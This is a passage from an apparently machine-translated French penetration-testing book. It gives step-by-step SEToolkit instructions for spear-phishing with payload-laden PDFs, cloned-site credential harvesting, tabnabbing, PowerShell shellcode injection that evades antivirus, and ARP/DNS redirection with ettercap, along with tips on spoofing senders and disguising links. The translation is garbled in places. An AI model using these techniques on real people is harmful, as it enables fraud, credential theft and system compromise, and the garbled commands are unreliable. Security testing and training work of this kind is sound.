spécialement conçu pour faciliter les attaques d'ingénierie
sociale.
Un avantage significatif de SEToolkit est son interconnectivité
avec le Metasploit
Framework qui fournit les payloads nécessaires à l'exploitation,
le cryptage
pour contourner l'antivirus, et le module d'écoute qui se
connecte au
système lorsqu'il renvoie un shell à l'attaquant.
Avant de lancer SEToolkit, vous souhaiterez peut-être apporter
quelques modifications au
fichier de configuration.

Page 190
Chapitre 7
[ 173 ]
La boîte à outils d'ingénierie sociale est préconfigurée avec des
paramètres par défaut communs ;
cependant, ces paramètres peuvent être modifiés pour adapter
le kit à des scénarios d'attaque spécifiques. Dans
Kali, le fichier de configuration est
/usr/share/set/config/set_config . Modifier cela
fichier vous permet de contrôler les éléments suivants :
• Variables Metasploit, y compris l'emplacement, la base de
données à utiliser, combien
fois qu'une charge utile doit être encodée, et les commandes
pour s'exécuter automatiquement
une fois qu'une session compteurpreter a été établie.
• Commutateurs Ettercap et dsniff pour faciliter les attaques
de redirection DNS et
capture des informations d'authentification. En contrôlant le
DNS, un attaquant
peut diriger automatiquement des groupes de personnes vers
de faux sites créés à l'aide du
kit d'outils .
• Configuration de sendmail ou d'autres programmes de
messagerie à utiliser dans les attaques
exiger des adresses e-mail falsifiées ; cela permet à l'ingénieur
social d'améliorer
la crédibilité des attaques en utilisant une adresse e-mail qui
semble venir
d'une source fiable, comme un cadre supérieur de la même
entreprise.
• Le fournisseur de messagerie à utiliser, y compris Gmail,
Hotmail et Yahoo.
• Création d'applets Java auto-signés avec un éditeur usurpé,
activation de SSL
certificats et le vol de signatures numériques.
• Autres variables telles que l'adresse IP, les affectations de
ports et l'encodage
paramètres.
Pour ouvrir Social Engineering Toolkit (SET) dans la distribution
Kali, accédez à Applications |
Kali Linux | Outils d'exploitation | Boîte à outils d'ingénierie
sociale | setoolkit , ou entrez
setoolkit à une invite du shell. Vous serez présenté avec le
menu principal, comme indiqué
dans la capture d'écran suivante :

Page 191
Attaques physiques et ingénierie sociale
[ 174 ]
Si vous sélectionnez 1) Attaques d'ingénierie sociale , le
sous-menu suivant :
Voici une brève explication des attaques par ingénierie sociale :
• Le vecteur d'attaque Spear-Phishing permet à un attaquant
de créer un e-mail
messages et les envoyer à des victimes ciblées avec des exploits
attachés.
• Les vecteurs d'attaque de site Web utilisent plusieurs
attaques Web, notamment
ce qui suit:
°
La méthode d'attaque de l'applet Java falsifie un certificat Java
et fournit un
Charge utile basée sur Metasploit. C'est l'une des attaques les
plus réussies,
et il est efficace contre les cibles Windows, Linux ou OSX.
°
La méthode d'exploitation du navigateur Metasploit fournit un
Metasploit
charge utile à l'aide d'une attaque iFrame.
°
Credential Harvester Attack Method clone un site Web et
réécrit automatiquement les paramètres POST pour permettre
à un attaquant de
intercepter et récolter les informations d'identification des
utilisateurs ; il redirige ensuite la victime
retour au site d'origine une fois la récolte terminée.
°
La méthode d'attaque tabnabbing remplace les informations
sur un
onglet du navigateur avec une page clonée qui renvoie à
l'attaquant. Lorsque
la victime se connecte, les informations d'identification sont
envoyées à l'attaquant.
°
La méthode d'attaque de Web Jacking utilise des
remplacements iFrame pour
le lien URL mis en évidence semble légitime ; cependant, quand
il est
cliqué, une fenêtre s'ouvre, puis est remplacée par un lien
malveillant.

192
Chapitre 7
[ 175 ]
°
La méthode Web multi- attaques permet à un attaquant de
sélectionner tout ou partie
de plusieurs attaques pouvant être lancées à la fois, dont The
Java
Méthode d'attaque d'applet , l' exploit du navigateur
Metasploit
Méthode , Méthode d' attaque du collecteur d' informations
d'identification , Tabnabbing
Méthode d'attaque , et Man Left in the Middle Attack Method .
• Infectious Media Generator crée un fichier autorun.inf et
Metasploit
charge utile. Une fois gravé ou copié sur un périphérique USB
ou un support physique (CD ou
DVD) et inséré dans le système cible, il déclenchera un autorun
(si un
autorun est activé) et compromettre le système.
• Le module Créer une charge utile et un écouteur est un
module rapide piloté par menu
méthode de création d'une charge utile Metasploit. L'attaquant
doit utiliser un
attaque d'ingénierie sociale pour convaincre la cible de la
lancer.
• MassMailer Attack permet à l'attaquant d'envoyer plusieurs
e-mails personnalisés
à une seule adresse e-mail ou à une liste de destinataires.
• Programmes vectoriels d'attaque basés sur Arduino Appareils
basés sur Arduino, tels que
comme le Teensy. Étant donné que ces appareils s'enregistrent
en tant que clavier USB lorsque
connectés à un système Windows physique, ils peuvent
contourner la sécurité basée
lors de la désactivation de l'exécution automatique ou d'une
autre protection de point de terminaison.
• SMS Spoofing Attack Vector permet à l'attaquant d'envoyer
un Short conçu
SMS du service de messagerie sur l'appareil mobile d'une
personne et usurper la source de
le message.
• Le vecteur d'attaque du point d'accès sans fil créera un faux
accès sans fil
point et serveur DHCP sur le système de l'attaquant et redirige
toutes les requêtes DNS
à l'agresseur. L'attaquant peut alors lancer diverses attaques,
comme le Java
Applet Attack ou une attaque de collecte d'informations
d'identification.
• QRcode Generator Attack Vector crée un QRCode avec une
URL définie
associé à une attaque.
• Les vecteurs d'attaque Powershell permettent à l'attaquant
de créer des attaques qui reposent sur
sur PowerShell, un shell de ligne de commande et un langage
de script disponibles sur
toutes les versions de Windows Vista et supérieures.
• Les modules tiers permettent à l'attaquant d'utiliser l'
administration à distance
Tool Tommy Edition ( RATTE ), dans le cadre d'une Java Applet
Attack ou en tant que
charge utile isolée. RATTE est un outil d'accès à distance piloté
par menu texte.
SEToolkit propose également un élément de menu pour les
tests de pénétration accélérés , qui
donne un accès rapide à certains outils spécialisés qui prennent
en charge l'identification par force brute
et le craquage des mots de passe des bases de données SQL,
ainsi que certains exploits personnalisés
qui sont basés sur Python, les vecteurs d'attaque SCCM, le
DRAC/le châssis de l'ordinateur Dell
exploitation, énumération des utilisateurs et injection PSEXEC
PowerShell.

Page 193
Attaques physiques et ingénierie sociale
[ 176 ]
Le menu propose également des options pour mettre à jour le
framework Metasploit, SEToolkit et
la configuration de SEToolkit. Cependant, ces options
supplémentaires doivent être évitées car
ils ne sont pas entièrement pris en charge par Kali et peuvent
provoquer des conflits avec les dépendances.
Comme premier exemple des forces du SEToolkit, nous verrons
comment il peut être utilisé pour
obtenir un shell distant - une connexion établie à partir du
système compromis vers le
système de l'attaquant.
Attaque de harponnage
Le phishing est une attaque de fraude par e-mail menée contre
un grand nombre de victimes,
telle qu'une liste d'internautes américains connus. Les cibles ne
sont généralement pas
connecté, et l'e-mail ne tente pas de faire appel à une personne
en particulier.
Au lieu de cela, il contient un élément d'intérêt général (par
exemple, "Cliquez ici pour négocier
médicaments") et un lien ou une pièce jointe malveillants.
L'attaquant joue les chances qu'à
au moins certaines personnes cliqueront sur le lien en pièce
jointe pour lancer l'attaque.
D'autre part, le spear phishing est une forme très spécifique
d'attaque de phishing, en
l'élaboration du message électronique d'une manière
particulière, l'attaquant espère attirer le
l'attention d'un public spécifique. Par exemple, si l'attaquant
sait que les ventes
service utilise une application particulière pour gérer sa relation
client, il
peut usurper un e-mail en prétendant qu'il provient du
fournisseur de l'application avec un objet
ligne de « Correction d'urgence pour <application> - Cliquez sur
le lien pour télécharger ».
Le taux de réussite d'une attaque de phishing est généralement
inférieur à cinq pour cent ;
cependant, le taux de réussite d'une attaque de spear phishing
varie de quarante
à quatre-vingts pour cent. C'est pourquoi les informations de la
reconnaissance
phase est essentielle au succès de ce type d'attaque.
En moyenne, seulement dix à quinze e-mails doivent être
envoyés à une cible
avant de cliquer sur au moins un.
Avant de lancer l'attaque, assurez-vous que sendmail est
installé sur Kali ( apt-
get install sendmail ) et modifiez le fichier set_config de
SENDMAIL=OFF en
ENVOYER=ON .
Pour lancer l'attaque, sélectionnez Attaques d'ingénierie
sociale dans le SEToolkit principal
puis sélectionnez Spear-Phishing Attack Vectors dans le sous-
menu. Cette
lancera les options de démarrage de l'attaque, comme indiqué
dans la capture d'écran suivante :

Page 194
Chapitre 7
[ 177 ]
Sélectionnez 1 pour effectuer une attaque de masse par e-mail ;
une liste de
charges utiles d'attaque, comme le montre la capture d'écran
suivante :
L'une des attaques les plus efficaces est 15) Adobe PDF
Embedded EXE Social
Ingénierie ; cependant, l'attaque sélectionnée variera selon les
connaissances de l'attaquant
des cibles disponibles obtenues au cours de la phase de
reconnaissance.

Page 195
Attaques physiques et ingénierie sociale
[ 178 ]
Lorsque vous êtes invité à utiliser votre propre PDF ou un PDF
vierge intégré pour l'attaque en tant que
illustré dans la capture d'écran suivante, sélectionnez 2 pour la
charge utile vierge intégrée. Vous serez
puis être invité à sélectionner la charge utile.
Grâce à des tests sur plusieurs réseaux, nous avons constaté
que les options 1 et 2
( Windows Reverse TCP Shell et Windows Meterpreter Reverse
TCP ) sont
les charges utiles les plus fiables. Pour cet exemple, nous
sélectionnerons Windows Meterpreter
TCP inversé - lorsque le PDF est ouvert, il exécutera un shell
inversé vers le
système d'attaque.
Dans les cas où la furtivité est plus importante que la fiabilité,
Windows Meterpreter
Le HTTPS inversé est la meilleure option.
SEToolkit demandera l'écouteur de charge utile (l'adresse IP de
l'attaquant) et
port d'écoute, avec le port par défaut 443 .
Le menu suivant vous invite à changer le nom de fichier du
fichier PDF ; le nom par défaut
est moo.pdf , comme le montre la capture d'écran suivante :

Page 196
Chapitre 7
[ 179 ]
Le nom par défaut n'incitera probablement pas une victime
potentielle à ouvrir le fichier ;
en outre, il peut être identifié par la sécurité côté client. Pour
ces raisons,
le nom du fichier doit être modifié. Le nom doit refléter le
public visé
se faire attaquer. Par exemple, si vous ciblez le groupe financier,
donnez le PDF
déposer un titre tel que Tax Law Amendments.
Il vous sera désormais proposé d'attaquer soit une seule
adresse e-mail, soit
publipostage (par exemple, une liste d'employés de l'entreprise
cible, ou un
groupe au sein de l'entreprise). L'option 1 a été sélectionnée
pour cet exemple.
SEToolkit vous demandera ensuite d'utiliser un modèle
prédéfini ou de créer un e-mail unique
modèle. Si vous sélectionnez un modèle prédéfini, les options
suivantes seront disponibles :
Une attaque d'ingénierie sociale efficace est conçue pour la
cible ; donc, sélectionnez l'option
2 , Modèle d' e-mail à usage unique , pour créer un modèle d'e-
mail à usage unique, comme
montré dans la capture d'écran suivante :

Page 197
Attaques physiques et ingénierie sociale
[ 180 ]
Vous aurez la possibilité d'utiliser votre propre compte Gmail
pour lancer l'attaque
( 1 ) ou utilisez votre propre serveur ou relais ouvert ( 2 ). Si
vous utilisez un compte Gmail, il est probable
que l'attaque échouera et vous recevrez le message suivant :
[!] Impossible de livrer l'e-mail. Impression d'un message
d'exception
ci-dessous, cela est probablement dû à une pièce jointe
illégale. Si vous utilisez GMAIL
ils inspectent les PDF et il est très probable qu'ils se fassent
prendre.
Gmail inspecte les e-mails sortants à la recherche de fichiers
malveillants et est très efficace pour identifier
charges utiles produites par SEToolkit et le framework
Metasploit. Si vous devez envoyer
une charge utile à l'aide de GMail, utilisez d'abord Veil-Evasion
pour l'encoder.
Il est recommandé d'utiliser l' option sendmail pour envoyer
des fichiers exécutables ;
en outre, il vous permet d'usurper la source de l'e-mail pour le
faire apparaître comme
bien qu'il provienne d'une source fiable.
La cible recevra le message électronique suivant :
Pour s'assurer qu'un e-mail est efficace, l'attaquant doit
prendre soin de la
points suivants:
• Le contenu doit fournir une "carotte" (le nouveau serveur
sera plus rapide, aura
l' amélioration de l' anti-virus) et un « bâton » (vous devrez
mettre à faire avant de vous
peut accéder à votre e-mail). La plupart des gens répondent
aux appels immédiats à l'action,
en particulier lorsqu'elles les touchent.
• Dans l'exemple donné précédemment, le document joint est
intitulé template.doc .
Dans un scénario réel, cela serait remplacé par Email
instructions.doc .
• Assurez-vous que votre orthographe et votre grammaire sont
correctes et que le ton du
le message correspond au contenu.

Page 198
Chapitre 7
[ 181 ]
• Le titre de la personne qui envoie l'e-mail doit correspondre
au contenu.
Si l'organisation cible est petite, vous devrez peut-être usurper
le nom d'un
personne réelle et envoyer l'e-mail à un petit groupe qui ne
interagir avec cette personne.
• Incluez un numéro de téléphone : cela donne un aspect plus
"officiel" à l'e-mail.
Il existe différentes manières d'utiliser des solutions
commerciales de voix sur IP pour obtenir un
numéro de téléphone à terme avec un indicatif régional.
Une fois l'e-mail d'attaque envoyé à la cible, l'activation réussie
(le destinataire
lance l'exécutable) va créer un tunnel Meterpreter inverse vers
l'attaquant
système. L'attaquant utilisera ensuite Meterpreter et d'autres
outils pour effectuer des
activités post-exploitation.
Utilisation d'un vecteur d'attaque de site Web – Java Applet
Méthode d'attaque
La méthode d'attaque de l'applet Java utilise une applet Java
infectée pour charger un
application sur le système cible. Cette attaque est favorisée par
de nombreux attaquants
car il est très fiable et efficace contre Windows, Linux et
Systèmes Mac OS X.
Pour lancer l'attaque, ouvrez SEToolkit et sélectionnez l'option
2) Attaque de site Web
Vecteurs , à partir du menu principal. Sélectionnez ensuite
l'option 1) Méthode d'attaque de l'applet Java ,
pour lancer le menu initial, comme le montre la capture d'écran
suivante :

Page 199
Attaques physiques et ingénierie sociale
[ 182 ]
Les options pour le modèle Web sont Java requis , Gmail ,
Google , Facebook ,
Twitter et Yahoo . La page Java requis , comme illustré dans la
capture d'écran suivante,
est généralement efficace car il invite directement l'utilisateur à
mettre à jour un élément essentiel de
logiciel avant de continuer.
Vous pouvez également choisir de cloner un site existant, tel
que le site Web d'entreprise de la cible.
Après avoir effectué la sélection, l'attaquant est alors invité à
déterminer s'il utilise
Transfert de port/NAT et fournissez l'adresse IP de la machine
attaquante pour le
connexion inversée, comme illustré dans la capture d'écran
suivante :
L'habillage de mots n'est pas bien géré par le SEToolkit, et il est
courant qu'une réponse tapée retourne en arrière et écrase un
partie de la ligne de commande.

Page 200
Chapitre 7
[ 183 ]
Après avoir fourni l'URL requise, SEToolkit lancera le processus
de clonage du site,
comme le montre la capture d'écran suivante. Une fois terminé,
l'application commencera
générer la charge utile et les fichiers de support (l' archive .jar
et le cloné
fichier index.html ).
L'étape suivante comprend la sélection de la charge utile. Si la
furtivité est particulièrement importante,
utilisez l'option 17 pour sélectionner un exécutable qui a été
encodé à l'aide de voile , comme indiqué dans
la capture d'écran suivante :

Page 201
Attaques physiques et ingénierie sociale
[ 184 ]
Sélectionnez l'option d'encodage pour contourner l'antivirus
local sur le système cible ; le plus
efficace d'entre eux est la quatrième option, Backdoored
Executable , comme indiqué dans le
capture d'écran suivante :.
L'application demandera le port d'écoute, puis commencera à
générer du code pour
ports communs ( 25 , 53 , 80 , 443 , et ainsi de suite) sur la
machine de la victime, comme indiqué dans le
capture d'écran suivante :
Vient maintenant l'étape de l'ingénierie sociale : l'attaquant
doit convaincre la cible
personne à se connecter à l'adresse IP du système d'écoute. Si
la cible entre dans ce
système, ils seront dirigés vers le site cloné hébergé sur
l'auditeur.

Page 202
Chapitre 7
[ 185 ]
Le site présentera à la personne ciblée un avertissement de
sécurité, comme indiqué dans le
capture d'écran suivante, indiquant qu'une application doit être
exécutée afin de
accéder au site.
Si la personne choisit d'exécuter l'application, un reverse shell
(selon
sur la charge utile sélectionnée) seront formés entre leur
ordinateur et le
l'ordinateur de l'attaquant.
Les deux attaques présentées montrent les différentes
approches utilisées par les
SEToolkit pour prendre le contrôle de l'ordinateur d'une cible à
l'aide d'un reverse shell ou similaire
charge utile. Un attaquant peut étendre le contrôle de
plusieurs manières, par exemple en utilisant
une charge utile VNC ou en plaçant un RATTE.
Cependant, ces attaques sont intrusives - il est possible que le
reverse shell puisse
déclencher une alarme de sortie au niveau du pare-feu lorsqu'il
se connecte à la machine de l'attaquant.
Plus important encore, la charge utile peut faire l'objet d'une
ingénierie inverse pour identifier les informations
sur l'agresseur.
Enfin, le but de l'attaque peut ne pas être un compromis
immédiat ; à la place, le
l'attaquant peut souhaiter collecter les informations
d'identification de l'utilisateur pour prendre en charge une
attaque ultérieure ou pour réutiliser
les informations d'identification à plusieurs endroits sur
Internet. Alors, examinons un justificatif d'identité
attaque de récolte.

Page 203
Attaques physiques et ingénierie sociale
[ 186 ]
Utiliser un vecteur d'attaque de site Web – Credential
Méthode d'attaque de la moissonneuse
Les identifiants, généralement le nom d'utilisateur et le mot de
passe, permettent à une personne d'accéder aux réseaux,
les systèmes informatiques et les données. Un attaquant peut
utiliser ces informations indirectement (en
connexion au compte Gmail de la victime et envoi d'e-mails
pour faciliter une attaque
contre les connexions de confiance de la victime) ou
directement contre le compte de l'utilisateur.
Cette attaque est particulièrement pertinente étant donné la
réutilisation extensive des informations d'identification - les
utilisateurs
réutilise généralement les mots de passe à plusieurs endroits.
Les informations d'identification d'une personne disposant d'un
accès privilégié, telle qu'un
administrateur système ou un administrateur de base de
données, ce qui peut donner accès à un attaquant
à plusieurs comptes et référentiels de données.
L'attaque de collecte d'informations d'identification de
SEToolkit utilise un site cloné pour collecter les informations
d'identification.
Pour lancer cette attaque, sélectionnez Website Attack Vectors
dans le menu principal, et
puis sélectionnez Méthode d'attaque Credential Harvester .
Pour cet exemple, nous allons
suivez les sélections du menu pour cloner un site Web, tel que
Facebook.
Encore une fois, l'adresse IP cible doit être envoyée à la cible
prévue. Lorsque la cible
clique sur le lien ou saisit l'adresse IP, une page clonée leur sera
présentée
qui ressemble à la page d'entrée habituelle de Facebook, et ils
seront invités à
saisir leurs identifiants et mots de passe.
Une fois cela fait, les utilisateurs seront redirigés vers le site
Facebook habituel, où
ils seront connectés à leur compte.
En arrière-plan, leurs identifiants d'accès seront collectés et
transmis au
attaquant. Ils verront l'entrée suivante dans la fenêtre
d'écoute :

Page 204
Chapitre 7
[ 187 ]
Lorsque l'attaquant a des informations d' identification finis de
collecte, la saisie CTRL + C volonté
générer deux rapports dans le répertoire /SET/reports aux
formats XML et HTML.
Une option d'attaque similaire est le Web Jacking Attack .
Lorsque les victimes ouvrent le
lien de l'attaquant, une page lui sera présentée l'informant que
son
la page a été déplacée, comme le montre la capture d'écran
suivante :
Lorsque les utilisateurs cliquent sur le lien pour accéder au
nouvel emplacement, ils seront présentés
avec une page clonée qui semble être celle attendue, comme
illustré ci-dessous
capture d'écran; encore une fois, la page récoltera leurs
identifiants de connexion.
Notez que l'adresse dans la barre d'URL n'est pas l'adresse
valide pour
Google; la plupart des utilisateurs reconnaîtront que quelque
chose ne va pas s'ils peuvent
voir l'adresse. Un exploit réussi nécessite que l'attaquant se
prépare
la victime avec un prétexte approprié, ou une histoire, pour
faire accepter à la victime
l'URL inhabituelle. Par exemple, envoyez un e-mail à un groupe
ciblé de
responsables non techniques d'annoncer qu'un « site de
messagerie Google local est
désormais hébergé par le service informatique pour réduire les
retards dans le système de messagerie."

Page 205
Attaques physiques et ingénierie sociale
[ 188 ]
L'attaque par collecte d'informations d'identification est un
excellent outil pour évaluer la sécurité d'un
réseau d'entreprise. Pour être efficace, l'organisation doit
d'abord former tous les employés
sur la façon de reconnaître et de répondre à une attaque de
phishing. Environ deux semaines
plus tard, envoyez un e-mail à l'échelle de l'entreprise qui
contient des erreurs évidentes (incorrect
nom du PDG de l'entreprise ou un bloc d'adresse qui contient la
mauvaise adresse)
et un lien vers un programme qui récolte les informations
d'identification. Calculer le pourcentage de
destinataires qui ont répondu avec leurs informations
d'identification, puis adapter la formation
programme pour réduire ce pourcentage.
Utiliser un vecteur d'attaque de site Web – Tabnabbing
Méthode d'attaque
Tabnabbing exploite la confiance d'un utilisateur en chargeant
une fausse page dans l'un des onglets ouverts d'un
navigateur. En usurpant l'identité d'une page d'un site tel que
Gmail, Facebook ou tout autre site
qui publie des données (généralement des noms d'utilisateur et
des mots de passe), une attaque par tabulation peut collecter
un
justificatifs d'identité de la victime. La boîte à outils d'ingénierie
sociale appelle le collecteur d'informations d'identification
attaque que nous avons décrite précédemment.
Pour lancer cette attaque, lancez le Social Engineering Toolkit à
partir d'une invite de console,
puis sélectionnez 1) Attaques d'ingénierie sociale . Dans le
menu suivant, sélectionnez 2)
Vecteurs d'attaque de site Web . L'attaque tabnabbing est
lancée en sélectionnant 4)
Méthode d'attaque par tabulation .
Lorsque l'attaque est lancée, vous serez invité avec trois
options pour générer le
de faux sites Web qui seront utilisés pour collecter des
informations d'identification. L'attaquant peut autoriser
setoolkit
pour importer une liste d'applications Web prédéfinies, cloner
un site Web (comme Gmail) ou
importer leur propre site Web. Pour cet exemple, nous
sélectionnerons 2) Site Cloner .
Cela demandera à l'attaquant d'entrer l'adresse IP sur laquelle
le serveur effectuera le POST ; cette
est généralement l'adresse IP du système de l'attaquant.
L'attaquant sera alors invité
pour saisir l'URL du site à cloner. Dans la capture d'écran
suivante, Gmail
site Web a été sélectionné.
L'agresseur doit alors recourir à l'ingénierie sociale pour forcer
la victime à visiter le
Adresse IP pour l'action de publication (par exemple,
raccourcissement d'URL). La victime va
recevoir un message indiquant que le site se charge (lorsque le
script d'attaque charge le site cloné
sous un autre onglet du navigateur, comme illustré dans la
capture d'écran suivante) :

Page 206
Chapitre 7
[ 189 ]
La cible sera alors présentée avec la fausse page (avec la fausse
adresse IP toujours
visible). Si les utilisateurs entrent leurs noms d'utilisateur et
mots de passe, les données seront publiées sur
l'auditeur sur le système de l'attaquant. Comme vous pouvez le
voir dans la capture d'écran suivante, il
a capturé le nom d'utilisateur et le mot de passe.

Page 207
Attaques physiques et ingénierie sociale
[ 190 ]
Utilisation d'un vecteur d'attaque de site Web - Multi-Attack
Méthode Web
L'attaque "Je vous salue Marie" pour les vecteurs d'attaque de
sites Web est la méthode Web multi- attaques ,
qui permet à l'attaquant de mettre en œuvre plusieurs
attaques différentes à la fois, devrait
ils choisissent. Par défaut, toutes les attaques sont désactivées
et l'attaquant choisit celles
pour courir contre la victime, comme le montre la capture
d'écran suivante :
Il s'agit d'une option efficace si vous ne savez pas quelles
attaques seront efficaces contre un
organisation cible; sélectionnez un employé, déterminez la ou
les attaques réussies, puis
les réutiliser contre les autres employés.
Utilisation de l'alphanumérique PowerShell
attaque par injection de shellcode
La boîte à outils d'ingénierie sociale intègre également les
attaques les plus efficaces basées sur
PowerShell, qui est disponible sur tous les systèmes
d'exploitation Microsoft après la sortie de
Microsoft Vista. Parce que le shellcode PowerShell peut
facilement être injecté dans le
mémoire physique, les attaques utilisant ce vecteur ne
déclenchent pas d'alarmes antivirus.
Pour lancer une attaque par injection PowerShell à l'aide de
setoolkit , sélectionnez 1) Social-
Attaques d'ingénierie dans le menu principal. Ensuite,
sélectionnez 10) Attaque Powershell
Vecteurs du menu suivant.

Page 208
Chapitre 7
[ 191 ]
Cela donnera à l'attaquant quatre options pour les types
d'attaque ; pour cet exemple, sélectionnez 1 pour
invoquez PowerShell Alphanumeric Shellcode Injector .
Cela définira les paramètres d'attaque et invitera l'attaquant à
entrer l'adresse IP pour
l'écouteur de charge utile, qui sera généralement l'adresse IP
de l'attaquant. Quand ce
a été saisi, le programme créera le code d'exploitation et
lancera un écouteur local.
Le shellcode PowerShell qui lance l'attaque est stocké dans
/root/.set/reports/
powershell/x86_powershell_injection.txt .
L'aspect d'ingénierie sociale de l'attaque se produit lorsque
l'attaquant convainc le
victime destinée à copier le contenu de
x86_powershell_injection.txt sur un
invite de commande, comme illustré dans la capture d'écran
suivante, et exécute le code.
Comme le montre la capture d'écran suivante, l'exécution du
shellcode ne s'est pas déclenchée
une alarme antivirus sur le système cible. Au lieu de cela,
lorsque le code a été exécuté, il
a ouvert une session meterpreter sur le système attaquant et a
permis à l'attaquant de
obtenir un shell interactif avec le système distant.

Page 209
Attaques physiques et ingénierie sociale
[ 192 ]
Cacher les exécutables et obscurcir le
URL de l'attaquant
Comme le montrent les exemples précédents, il y a deux clés
pour réussir à lancer une
attaque d'ingénierie sociale. La première est d'obtenir les
informations nécessaires pour
travail : noms d'utilisateur, informations commerciales et
informations complémentaires sur les réseaux,
systèmes et applications.
Cependant, l'essentiel de l'effort de travail est concentré sur le
deuxième aspect : la fabrication
l'attaque pour inciter la cible à ouvrir un exécutable ou à cliquer
sur un lien.
Plusieurs attaques produisent des modules qui nécessitent que
la victime les exécute afin de
l'attaque pour réussir. Malheureusement, les utilisateurs sont
de plus en plus réticents à exécuter
logiciel inconnu. Cependant, il existe des moyens d'augmenter
la possibilité de
l'exécution réussie de l'attaque, y compris les éléments
suivants :
• Attaque à partir d'un système connu et approuvé par la
victime visée, ou
usurper la source de l'attaque. Si l'attaque semble provenir du
helpdesk ou support informatique, et prétend être une "mise à
jour logicielle urgente", il sera
probablement être exécuté.
• Renommez l'exécutable pour qu'il ressemble à un logiciel de
confiance, tel que "Java Update".
• Intégrez la charge utile malveillante dans un fichier bénin tel
qu'un fichier PDF en utilisant
une attaque telle que l' attaque
adobe_pdf_embedded_exe_nojs de Metasploit .
Les exécutables peuvent également être liés à des fichiers
Microsoft Office, des fichiers d'installation MSI ou
Fichiers BAT configurés pour s'exécuter silencieusement sur le
bureau.
• Demandez à l'utilisateur de cliquer sur un lien qui télécharge
l'exécutable malveillant.
Étant donné que SEToolkit utilise l'URL de l'attaquant comme
destination de ses attaques, une clé
facteur de succès est de s'assurer que l'URL de l'attaquant est
crédible pour la victime. Là
Il existe plusieurs techniques pour y parvenir, notamment les
suivantes :
• Raccourcissez l'URL à l'aide d'un service tel que goo.gl ou
tinyurl.com . Les
les URL raccourcies sont courantes parmi les médias sociaux
tels que Twitter, et
les victimes prennent rarement des précautions lorsqu'elles
cliquent sur de tels liens.
• Entrez le lien sur un site de média social tel que Facebook ou
LinkedIn; le site
créera son propre lien pour remplacer le vôtre, avec une image
de la destination
page. Ensuite, supprimez le lien que vous avez entré, laissant
derrière vous le nouveau réseau social
lien média.

Page 210
Chapitre 7
[ 193 ]
• Créez une fausse page Web sur LinkedIn ou Facebook : en
tant qu'attaquant, vous
contrôler le contenu et créer une histoire captivante pour
inciter les membres à
cliquez sur les liens ou téléchargez les exécutables. Une page
bien exécutée ne sera pas seulement
cibler les employés, mais aussi les fournisseurs, les partenaires
et leurs clients, en maximisant
le succès d'une attaque d'ingénierie sociale.
• Intégrez le lien dans un fichier tel que PowerPoint.
Pour intégrer un lien dans PowerPoint, lancez-le et créez un
diaporama en enregistrant le
extension en .pps . Donnez à la présentation un titre qui
intéressera la cible
personne et créez quelques fichiers de contenu génériques. Sur
la page d'accueil, insérez un texte
boîte et faites glisser la boîte pour couvrir toute la surface de
cette diapositive. Cliquez sur Insérer et
puis sélectionnez l'onglet Action. Dans la boîte de dialogue,
cliquez sur le bouton radio Lien hypertexte vers,
et sélectionnez URL dans le menu déroulant. Saisissez l'URL
utilisée pour lancer l'attaque,
comme le montre la capture d'écran suivante :
Lorsque le fichier est ouvert, il démarre sous la forme d'un
diaporama en plein écran. Parce que l'attaque est
lancé via un survol de la souris, les utilisateurs lanceront
l'attaque lorsqu'ils tenteront de
fermer le document.

Page 211
Attaques physiques et ingénierie sociale
[ 194 ]
Escalade d'une attaque à l'aide du DNS
redirection
Si un attaquant ou un testeur d'intrusion a compromis un hôte
sur le réseau interne,
ils peuvent intensifier l'attaque en utilisant la redirection DNS.
Ceci est généralement considéré comme
être une attaque horizontale (elle compromet des personnes
ayant à peu près le même accès
privilèges); cependant, il peut également s'intensifier
verticalement si les informations d'identification de
des personnes sont capturées.
Dans cet exemple, nous utiliserons ettercap qui agit comme un
renifleur, un intercepteur et un enregistreur pour
réseaux locaux commutés. Il facilite les attaques de l'homme du
milieu, mais nous l'utiliserons pour lancer un
Attaque de redirection DNS pour détourner les utilisateurs vers
des sites utilisés pour nos attaques d'ingénierie sociale.
Pour lancer l'attaque, il faut d'abord modifier le fichier de
configuration ettercap situé
à /etc/ettercap/etter.dns pour rediriger les requêtes vers notre
site hostile. Un échantillon
l'utilisation du site de Microsoft se trouve dans le fichier de
configuration ; reproduire les mêmes détails
pour diriger la demande du site cible vers l'adresse IP
malveillante, comme indiqué dans le
capture d'écran suivante :
Démarrez ettercap en mode graphique en tapant ettercap –G à
l'invite de commande.
Dans l' onglet Reniflage , sélectionnez Reniflement unifié dans
le menu déroulant, comme indiqué dans
la capture d'écran suivante :

Page 212
Chapitre 7
[ 195 ]
Lorsque vous êtes invité à sélectionner l'interface réseau,
sélectionnez eth0 pour le
réseau (comme vous pouvez le voir, ettercap prendra
également en charge les attaques sans fil lorsque vous
sélectionnez une autre interface). Vous devriez voir que le
menu à onglets change, donnant
vous plus d'options.
Dans l' onglet Hôtes , sélectionnez Rechercher les hôtes dans le
menu déroulant. Ce sera
effectuez une analyse rapide, puis signalez que "x hôtes ont été
ajoutés à la liste des hôtes". De
dans l' onglet Hôtes , sélectionnez Liste des hôtes pour afficher
une liste des systèmes cibles possibles, comme indiqué dans
la capture d'écran suivante :

Page 213
Attaques physiques et ingénierie sociale
[ 196 ]
Mettez en surbrillance les systèmes identifiés que vous
souhaitez cibler (par exemple, tous les hôtes situés
sur le même segment d'un réseau local commuté) et
sélectionnez l' onglet Ajouter à la cible 1 .
Lorsque cela est fait, sélectionnez l' onglet Plugins , qui vous
fournira une liste des
plug-ins ettercap disponibles. Sélectionnez le plugin
ec_dns_spoof.so , comme
montré dans la capture d'écran suivante :
Pour lancer l'attaque, sélectionnez l' onglet Mitm , et choisissez
Arp poisoning dans le menu
menu déroulant, comme illustré dans la capture d'écran
suivante. Ettercap va empoisonner le
Table de protocole de résolution d'adresse ou cache, sur les
systèmes sélectionnés.

Page 214
Chapitre 7
[ 197 ]
Lorsque l'empoisonnement ARP est sélectionné, des
paramètres facultatifs vous seront proposés. Sélectionnez le
paramètre pour renifler les connexions à distance. Ensuite,
allez dans l' onglet Démarrer et sélectionnez pour commencer
reniflement unifié.
Lorsqu'un utilisateur sur l'un des systèmes ciblés tente
d'accéder à Facebook, son cache
table ne leur fournira pas l'emplacement sur Internet. Ettercap
va détourner
leurs recherches sur l'URL que vous avez fournie dans le fichier
de configuration, et les utilisateurs
sera plutôt dirigé vers la page Web hostile préparée par
l'attaquant, et sera
sujet à une attaque telle que la collecte d'informations
d'identification.
À tout moment, les personnes attaquées verront l'URL
apparemment correcte dans leur
fenêtre du navigateur.
La redirection DNS peut être utilisée pour faciliter toutes les
